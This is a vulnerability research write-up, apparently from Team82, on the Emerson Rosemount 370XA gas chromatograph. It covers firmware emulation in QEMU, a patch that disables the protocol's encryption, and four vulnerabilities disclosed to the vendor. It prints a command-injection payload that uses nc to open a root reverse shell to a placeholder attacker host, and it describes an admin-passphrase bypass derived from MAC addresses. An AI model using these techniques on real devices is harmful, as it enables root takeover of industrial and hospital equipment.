Team82 Research
This blog explains Team82’s recent research conducted on an Emerson Rosemount 370XA gas chromatograph. Gas chromatography is a technique used in the chemical industry to separate and distinguish components from a mixed compound. It can be found in a wide range of industries, from environmental facilities that measure air pollution to hospitals that use gas chromatography to detect the quantity of specific minerals in blood samples.
Frequently, these devices are connected to internal networks in order to be operated remotely by a technician. In the case of Emerson Gas Chromatograph, the communication between the technician’s computer and the chromatograph is done over a proprietary protocol developed by Emerson.
A compromise of such devices can have a tremendous impact on various industries. In the food and beverage sector, attacks against a food processing company’s gas chromatographs could prevent the accurate detection of bacteria and bring a process chain to a halt. Similar attacks against a hospital’s chromatographs would disrupt testing of blood and other patient samples.
The biggest challenge in our research was obtaining the physical device; gas chromatographs are $100,000 devices, and it would not be feasible to acquire one for a six-week research project. Eventually we decided to emulate this device. It was not an easy task because we knew very little about it. Only after a successful emulation could we proceed to the vulnerability research.
Four vulnerabilities were ultimately uncovered and disclosed to Emerson, which addressed them and issued a security advisory. The vulnerabilities include two command injection flaws—one assessed a 9.8 CVSS v3 score—and separate authentication and authorization vulnerabilities. The Cybersecurity & Infrastructure Security Agency (CISA) also published an advisory.
Before digging into the research, let's briefly explain what gas chromatography is.
Gas chromatography is a technique used in various industries to separate compounds for analysis by vaporizing them without decomposition. A liquid or polymer sample evaporates in the gas chromatograph and moves through a tube called a column. The sample’s components interact with the column material, which causes them to move through the column at different rates. The separated components will exit the column (each at a different time) through a detector that picks up signals relevant to the presence and quantity of the components; those signals are translated into chromatograms, or visual representations of the separation process.
The Emerson Rosemount 370XA is a popular gas chromatograph used in many laboratories worldwide.
Technicians interact with the device through a Windows-based software client called MON2020. The software client, which is installed on the technician’s computer, is used to calibrate and configure the device, as well as view chromatograms.
The protocol, used for the communication between the device and the client, is proprietary and not documented. The only thing we learned from the manuals is that it is used on top of TCP port 10000, and that the communication between the client and the device is encrypted with TLSv1.2.
The main caveat in this project was that we had to do the vulnerability research without the actual device; apparently industrial gas chromatographs are not that easy to get. And those that are for sale, below, cost a little more than we are allowed to spent on short-term research.
The attack surface that we decided to focus on is a proprietary communication protocol. The protocol is used for configuration and management, those functions are often the most prone to bugs.
To be able to effectively analyze the protocol, we need the ability to inspect ongoing communication between the client and the device. Since we couldn’t get the actual device we decided to try to emulate it.
Emulation of an embedded device (i.e. device that is tailored to work on specific hardware with specific peripherals) is a complicated task and does not always end in success. It takes experience in emulation techniques and luck. Fortunately, we had both.
We are not aiming for a fully working gas chromatograph running on a virtual machine. We want to emulate only the application that implements the protocol. As long as the protocol is working, we don’t care if the chromatograms that are sent through the protocol contain pure nonsense.
We went through the following steps to accomplish emulation:
We obtained the firmware from the vendor’s website, below.
The firmware was packed into a cramfs format. We used fsck.cramfs to extract the firmware:
The gas chromatograph device runs on Linux; the architecture used is PowerPC.
In order to find the application that implements the protocol, we looked for a binary file that calls the bind function with port 10000 as a parameter.
The common procedure to find the binary is to start exploring the init files; our device is intended to perform a very specific task and is not a general purpose computer, therefore the application should be executed at startup.
This can take a while, but eventually the relevant application will be found.
The most convenient way to emulate PowerPC applications is to use the QEMU emulator. The emulator emulates several PowerPC boards. I chose the mac99 (Macintosh G4 PowerMac) computer because it is a general-purpose machine and has the most versatile set of capabilities. On top of the mac99 machine, I used Ubuntu OS with a yaboot bootloader.
# Download the UbuntuPPC
wget https://cdimage.ubuntu.com/releases/14.04/release/ubuntu-14.04.5-server-powerpc.iso
#Create empty QEMU image
qemu-img create ubuntu14.qcow2 2G
#Use emulated Mac99 to install Ubuntu from CD to the hard drive
qemu-system-ppc -L pc-bios -boot d -M mac99,via=pmu -m 1024 \
-hda ./ubuntu14.qcow2 -cdrom ./ubuntu-14.04.5-server-powerpc.iso -nographic
#Run UbuntuPPC on emulated Mac99 with yaboot bootloader, port-forward SSH and the protocol port
qemu-system-ppc -L pc-bios -M mac99,via=pmu -boot c -prom-env \ "boot-device=hd:,yaboot" -prom-env "boot-args=conf=hd:,yaboot.conf" \
-m 1024 -hda ubuntu14.qcow2 -net user,hostfwd=tcp::10022-:22,hostfwd=tcp::10000-:10000 -net nic -nographic
We now have Ubunt-PPC running on an emulated PowerMac G4.
Copy the extracted firmware to the UbuntuPPC; we can use scp since we port-forwarded ssh.
scp -P 10022 rosemount_firmware.tar user@localhost:/home/user/rosemount
On the UbuntuPPC, chroot to the file system
ssh -p10022 user@localhost
cd /home/user/rosemount
#we need this to be able to run ps from the chrooted environment
sudo mount -t proc /proc ./proc/
sudo chroot . /bin/sh
Run the application:
/bin/extpd
The application should crash soon after launch because there are two main tasks that we did not perform yet; adjust the running environment to resemble the environment in the actual device, and dealing with calls to the peripherals.
Adjust the Running Environment :
Note that we haven’t executed any of the init files yet; any changes that should have been done prior to execution of the main application within the setup (such as defining environment variables, mounting partitions, creating directories etc), doesn’t exist in our chrooted environment. Therefore, when the device will access a nonexistent partition that it expects to have, it will crash (or have an error).
Solution: Either of the following:
Go through the all initialization script files and perform the specific operations that looks important
Execute the initialization scripts as is, if something doesn’t work within the script, decide if it is important enough and if it is, make it work
The second approach is much more efficient, but be sure to have a backup of the setup to avoid having to reinstall it from scratch if something goes wrong (yep, been there).
Dealing with Calls to the Peripherals:
When the device tries to perform a task unique to the gas chromatograph device, for example, communicating with a sensor which in our case doesn’t exist, the application will crash.
Solution: Patch the code to avoid communication with the peripherals until the system is stable enough to proceed with the general operation
For both tasks, the approach is trial and error until it generally works:
Since communication is encrypted with TLSv1.2, we are still unable to analyze the communication efficiently. By looking at the decryption functionality on the device, we learned that the device supports plaintext communication for older versions (<v4.00) of the software client. From here, we have two options:
Deploy MiTM by using the keys generated by the MON2020
Use an older version of MON2020, for example v3
The latter option enabled me to use Wireshark with ease, so this is what I went with.
Of course I didn’t start to surf the web for the old version, I just lied about the version of client that I already had by patching the relevant area in the binary:
One last patch, this time to the Mon2020, below, to report the version of the software client being old enough (v3 instead of v4) so the encryption will be disabled.
39 20 00 04 li r9, 4
39 20 00 03 li r9, 3
Finally we have our setup and can start to analyze the protocol.
The protocol structure is quite simple:
The protocol’s payload consists of an eight-byte header followed by data. The header includes sequence number, the command type ID, and the length of the payload.
The data section content depends on the type of the command. Commands are used to trigger specific functionality from the device. Some examples include: login, get diagnostic info, calibrate the device, restart the device, and more.
CMD Type Name | CMD Type ID | |
MarkLogRecordAsRead | 0xA | |
GetLogCreateProgress | 0xB | |
CANCEL_LOG | 0xC | |
XP_adduser | 0xD | |
XP_deluser | 0xE | |
XP_changeuser | 0xF | |
XP_changepass | 0x10 | |
XP_changelevel | 0x11 |
For example, below, is the payload for “ChangeLevel” command type:
At this point we have the main application running on an emulated hardware and we understand the protocol sufficiently to start looking for vulnerabilities within protocol implementation.
The approach we took for our vulnerability research was to go over the implementation of all command types and look for bugs. The bugs we are looking for are memory vulnerabilities such as heap or stack buffer overflows, and logical ones such as path traversal, command injection etc.
To be able to challenge the protocol’s implementation we need a capability to construct crafted payloads. For that reason, we wrote our own client in Python, below, mimicking the operations of MON2020 official client.
Following this approach, several vulnerabilities were found. Let's discuss the most interesting ones.
The vulnerability was found in the implementation of the “forced calibration” CMD Type (ID 0x23).
Lets see how the archived chromatogram is used:
The system function is called with a constructed shell command; the archived file is expanded using gunzip and the name of the file is provided by the user. The command then is executed in the context of the root shell (the application is run by root).
gunzip -c name_of_the_archived_file > name_of_the_expanded_file
No sanitization is done to the input, resulting in a classic command injection vulnerability. An attacker can exploit this vulnerability and instead of the name_of_the_archived_file, below, supply a shell command of his choice and thus achieve arbitrary code execution:
gunzip -c ;nc -e /bin/sh ATTACKER_MACHINE 1337;> name_of_the_expanded_file
This an authentication bypass vulnerability enabling an attacker to calculate a secret passphrase and reset an administrator password.
This vulnerability can be discovered only by reading the manuals. Lets see how:
The ability to reset an administrator password without a factory reset is a bad security practice. Since those devices need to be able to operate offline, the passphrase validation has to be implemented on the device. Therefore, by reviewing the password validation procedures on the device, we should be able to reconstruct it.
Long story short, the passphrase is a hash digest derived from a MAC address, which is not secret information and can be easily obtained.
We implemented the passphrase generation functionality in our python client and now we can login to the system with administrator privileges with EMERSON/{PASSPHRASE} credentials, below.
We appreciate Emerson for its swift response and cooperation, which demonstrates their dedication to our shared goal. Emerson promptly addressed four of the vulnerabilities, the recommendations from the vendor can be found here.
CWE-77: IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION')
In Emerson Rosemount GC370XA, GC700XA, and GC1500XA products, an unauthenticated user with network access could execute arbitrary commands in root context from a remote computer.
CVSS v3: 9.8
CWE-77: IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION')
In Emerson Rosemount GC370XA, GC700XA, and GC1500XA products, an authenticated user with network access could execute arbitrary commands from a remote computer.
CVSS v3: 6.9
CWE-287:IMPROPER AUTHENTICATION
In Emerson Rosemount GC370XA, GC700XA, and GC1500XA products, an unauthenticated user with network access could bypass authentication and acquire admin capabilities.
CVSS v3: 8.3
CWE-285: IMPROPER AUTHORIZATION
In Emerson Rosemount GC370XA, GC700XA, and GC1500XA products, an unauthenticated user with network access could obtain access to sensitive information or cause a denial-of-service condition.
CVSS v3: 6.9
